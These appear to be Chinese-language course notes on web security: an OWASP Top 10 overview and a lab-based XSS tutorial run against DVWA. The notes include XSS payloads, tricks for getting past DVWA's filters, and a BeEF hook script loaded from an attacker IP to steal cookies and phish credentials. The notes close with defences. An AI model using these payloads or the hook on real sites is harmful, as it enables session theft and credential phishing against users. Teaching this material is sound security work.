介绍:
1.web应用安全是Web渗透测试的理论基础.
2.主要内容是OWASP Top 10,十大安全漏洞,讲解漏洞的原理、验证、利用、防御。另外,还包括代码审计。
Welcome to OWASP CHINA — OWASP-CHINA
Web安全的知识体系以OWASP Top 10为标准。
2021年排名第一的是:失效的访问控制
A01失效的访问控制
越权漏洞-是一种逻辑漏洞,可以将其划分到失效的访问控制。
特别是在一些大学网站中,这种漏洞比较多。例如:张三登录后,应该只能查询到张三的成绩。但是如果存在该类漏洞,通过变换参数输入的是其它同学的学号,张三也可以查询到其它学生的成绩。
A02 加密机制失效(敏感信息泄露)
例如:网站的源码备份文件、网站的数据库备份文件、保存敏感信息的xls表文件。
课下作业一: google的搜索语法: google hacking。
必应 微软提供的,功能类似于百度的,搜索网站.很多搜索网站都可以使用google的搜索语法.
1.搜索所有后台登录页面:
inurl:.cn 登录
A03 注入
Sql注入、命令注入、代码注入、XSS(跨站脚本)(js代码注入)等等
A04 不安全设计
和开发人员缺乏安全知识和安全意识,可能从业务逻辑上存在漏洞
A05安全配置错误
操作系统、Web容器、数据库、网站都可能由于配置不当,产生漏洞
A06 自带缺陷和过时的组件
A07 身份识别和身份验证错误
例如:弱口令问题、验证码返回问题
A08 软件和数据完整性故障(以后介绍)
不安全的反序列化
A09 安全日志和监控故障
A10 服务器端请求伪造(以后介绍)
问题:A01与A07这两类漏洞的区别? 另外,我们对照17和21数据的变化。
1.XSS
1.1 什么是XSS?
全称 Cross-Site Scripting,中文是跨站脚本。
从本质上xss也属于注入漏洞的一种,它是js代码注入。被注入的恶意的js代码是在前端浏览器执行的,所以属于前端漏洞,产生的危害:用户资料的窃取、cookie的劫持、钓鱼欺骗等等。
1.2 XSS分类
- 反射型XSS
- 持久型XSS
- DOM型XSS
1.3 反射型XSS
接收用户提交的访问者的姓名,并返回给浏览器。
1.xss_reflect.php(实现一个有反射型XSS漏洞的服务器)
<?php
header("Content-Type:text/html;charset=utf-8");
// 1.接收用户提交的参数
$name=$_GET['name'];
// 2.没有做任何的检查和过滤,直接将数据响应回浏览器(存在XSS漏洞)
echo "欢迎您:".$name."<br>";
?>
HTML
2.漏洞利用步骤
1.黑客利用服务器上的XSS漏洞,构造恶意的链接,发送给受害者,引诱受害者点击这个链接。
http://127.0.0.1/websec/day01/xss_reflect.php?name=<script>alert(1)</script>
HTML
2.受害者点击该链接,向服务器发送包含恶意js代码的请求。
3.服务器接收受害发送的请求,没有对参数做检查和过滤,直接将恶意的js代码响应给受害者。
4.受害者收到服务器响应回来的恶意的js代码,并由浏览器解析执行,受到攻击!
一些信息的搜索框,可能存在反射型的XSS。
1.4 存储型XSS
1.黑客利用服务器上的XSS漏洞,提交恶意的js代码,服务器将恶意代码存储到数据库
2.受害者(其他用户)访问服务器的某个页面,而这个页码会使用到数据库的数据。服务器从数据库获取恶意的js代码,并返回给受害者。
存储型XSS漏洞利用条件比较简单,危害面也比较广,比反射型XSS更受到关注!
漏洞挖掘时,XSS漏洞的产生的场景
用户注册,可以尝试在除密码之外的每一个输入框中都增加<script>alert(1)</script>.例如:邮箱可以使用@163.com<script>alert(1)</script>这样的数据,登录后,如果页面有邮箱显示,就会弹框.
论坛的文章发表,评论,交流的输入框中,都可以尝试<script>alert(1)</script>
电商网站的商品评价\回复的输入框,也可以尝试<script>alert(1)</script>
如果已经登录,有cookie,通过js代码获取cookie数据并显示。
<script>alert( document.cookie )</script>
纯文本
1.5 DOM型XSS
恶意代码不需要通过服务器的,直接在前端浏览器的页面中被调用的。为什么称为DOM型XSS?
因为是在前端页面中,通过DOM函数,动态增加页面标签时,使用了恶意的代码,所以称为DOM型。
127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(1)</script>
dom型XSS的漏洞利用步骤与反射型的步骤相同。都需要构造恶意链接引诱受害者点击!
1.6 如何验证是否存在XSS漏洞
payload:<script>alert(1)</script>
<img src=1 οnerrοr=alert(1)>
如果直接显示,表示没有漏洞;如果弹窗,说明存在漏洞。
1.7 DVWA靶场的介绍
DVWA靶场登录名admin密码是 password。登录后,设置安全级别.
四个安全级别:(存储型XSS的案例)
1.low:对漏洞没有做任何的防护,漏洞利用比较简单。<script>alert(1)</script>
2.medium:对漏洞做了简单的防护,需要我们进行一定的绕过。
$name = str_replace( '<script>', '', $name );
纯文本
str_replace()函数,删除了特征字符串<script>。使用大小写绕过<ScripT>alert(1)</ScripT>
如果遇到前端的长度限制,直接使用浏览器的审查元素,修改或删除长度限制。
3.high:对漏洞做了进一步的防护,需要我们进一步的绕过。
preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
纯文本
对script做了精确的匹配后,使用另外一个payload: <img src=1 οnerrοr=alert(1)>
4.impossible:对漏洞做了严密的防护,找不到漏洞。
后端代码对xss的防御:将<、>进行字符实体编码的替换。
1.8 XSS漏洞利用(攻击)
1.8.1.beef-xss 漏洞利用工具的安装
如果出现签名无效
wget archive.kali.org/archive-key.asc
apt-key add archive-key.asc
text
在kali中安装beef
# apt-get update
# apt-get install ruby # yes or no,选择 yes ; 确定或取消,选 确定
# apt-get install beef-xss # 123456
text
在安装中,一路yes!
然后启动beef
# beef-xss
text
需要设置密码,我们设置的是123456
然后在浏览器中,用户名:beef ,密码:123456登录即可。
如果忘记beef密码,可以查看或修改配置文件,(第7、8行)
vi /etc/beef-xss/config.yaml
text
注意去掉手动设置的代理,保证kali和真机相互可以ping通。如何可以ping通,但是kali中无法访问真机中部署的网站,查看真机的防火墙状态,关闭防火墙,再尝试访问。
2.beef-xss的使用
启动beef-xss
# beef-xss
HTML
在浏览器的登录页面中,账号输入beef,密码输入123456,进入主界面。
在靶场有XSS漏洞的页面,输入如下的payload:
<script src="http://kali的IP:3000/hook.js"></script>
<script src="http://192.168.80.128:3000/hook.js"></script>
HTML
3.回到beef主界面中,可以执行命令
1.获取cookie
2.页面跳转
Browser→Redirect Browser - 强制目标网站重定向到黑客指定的网站
3.通过登录框钓鱼
Social Engneering→Pretty Threft -弹窗登录框,让受害者输入用户名和密码,在后台获取
BeEF界面
zombie(僵尸)即受害的浏览器, 每隔一段时间(默认为1秒)就会向BeEF服务器发送请求, 询问是否有新的代码需要执行
Online Browsers:在线的主机,现在该主机浏览器执行了JS脚本代码
Offline Browers:不在线的主机,该主机曾经执行过JS脚本代码
Details:浏览器信息详情
Logs:能记录你在浏览器上的操作
Commands:你能对该浏览器进行哪些操作
1、绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
2、橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(例如弹窗、提示、跳转等)
3、灰色:命令模块尚未针对止一口此目标进行验证,不知道是否可运行
4、红色:命令模块不适用于此目标
劫持浏览器
社工弹窗
用户端出现登录弹窗,诱使用户输入用户名密码
假设用户输入了用户名/密码
在beef处,点击“command 1”,可以查看到用户输入的用户名,密码
1.8.2 在线的xss漏洞利用平台
......
1.9 XSS的防御
输入验证、输出过滤。
DWWA靶场,当在后端代码中对<script>做正则的验证限制时,意味着在payload不允许出现<script>,无论大小写。
我们换一个payload:
<img src=1 onerror=alert(1)>
HTML
impossible级别:将特殊字符<、 >,替换成了html字符实体编码,这是最终的好的防御方案。
在后端php代码中,htmlspecialchars这是函数就是完成以上所述的操作的。
$name = htmlspecialchars ( $_GET[ 'name' ] );
HTML
xss防御的实际案例,例如:在博客园发表文章。也是将特殊字符做html字符实体编码替换。
http only是xss防御的一种方案。在后端代码设置cookie值的时候,通过参数设置不允许使用javascript读取cookie数据。